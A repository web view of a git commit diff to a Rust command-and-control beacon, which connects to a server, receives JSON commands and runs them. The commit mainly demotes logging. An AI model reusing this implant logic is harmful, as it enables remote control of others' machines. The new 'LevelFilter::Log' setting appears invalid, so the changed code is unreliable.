updated logging for command receive in beacon
This commit is contained in:
parent
56f39ad64c
commit
afcc62df93
@ -321,11 +321,8 @@ struct TcpSocketHandle {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) {
|
async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) {
|
||||||
log::info!("Help!");
|
|
||||||
loop {
|
loop {
|
||||||
log::info!("Starting another loop iteration");
|
|
||||||
sleep(Duration::from_secs(conf.sleep_secs.into())).await;
|
sleep(Duration::from_secs(conf.sleep_secs.into())).await;
|
||||||
log::info!("Done sleeping, verifying connection");
|
|
||||||
|
|
||||||
let _ = socket_handle
|
let _ = socket_handle
|
||||||
.start_connect
|
.start_connect
|
||||||
@ -341,11 +338,11 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
log::info!("Connected to server!");
|
log::debug!("Connected to server!");
|
||||||
|
|
||||||
match socket_handle.receiver_channel.recv().await {
|
match socket_handle.receiver_channel.recv().await {
|
||||||
Some(bytes) => {
|
Some(bytes) => {
|
||||||
log::info!("received a command!");
|
log::debug!("received a command!");
|
||||||
match serde_json::from_slice::<BeaconCommand>(&bytes) {
|
match serde_json::from_slice::<BeaconCommand>(&bytes) {
|
||||||
Ok(BeaconCommand::Command(cmd)) => {
|
Ok(BeaconCommand::Command(cmd)) => {
|
||||||
log::info!("running command: {}", cmd.command);
|
log::info!("running command: {}", cmd.command);
|
||||||
@ -367,7 +364,7 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
log::info!("Done getting data");
|
log::debug!("Done getting data");
|
||||||
|
|
||||||
loop {
|
loop {
|
||||||
let state = socket_handle.state_changed.recv().await;
|
let state = socket_handle.state_changed.recv().await;
|
||||||
@ -378,15 +375,15 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
log::info!("Finished connection!");
|
log::debug!("Finished connection!");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#[tokio::main]
|
#[tokio::main]
|
||||||
async fn main() -> anyhow::Result<()> {
|
async fn main() -> anyhow::Result<()> {
|
||||||
simple_logger::SimpleLogger::new()
|
simple_logger::SimpleLogger::new()
|
||||||
.with_level(log::LevelFilter::Trace)
|
.with_level(log::LevelFilter::Log)
|
||||||
.with_module_level("tcp_test", log::LevelFilter::Info)
|
.with_module_level("tcp_test", log::LevelFilter::Log)
|
||||||
.init()?;
|
.init()?;
|
||||||
|
|
||||||
let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?;
|
let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?;
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user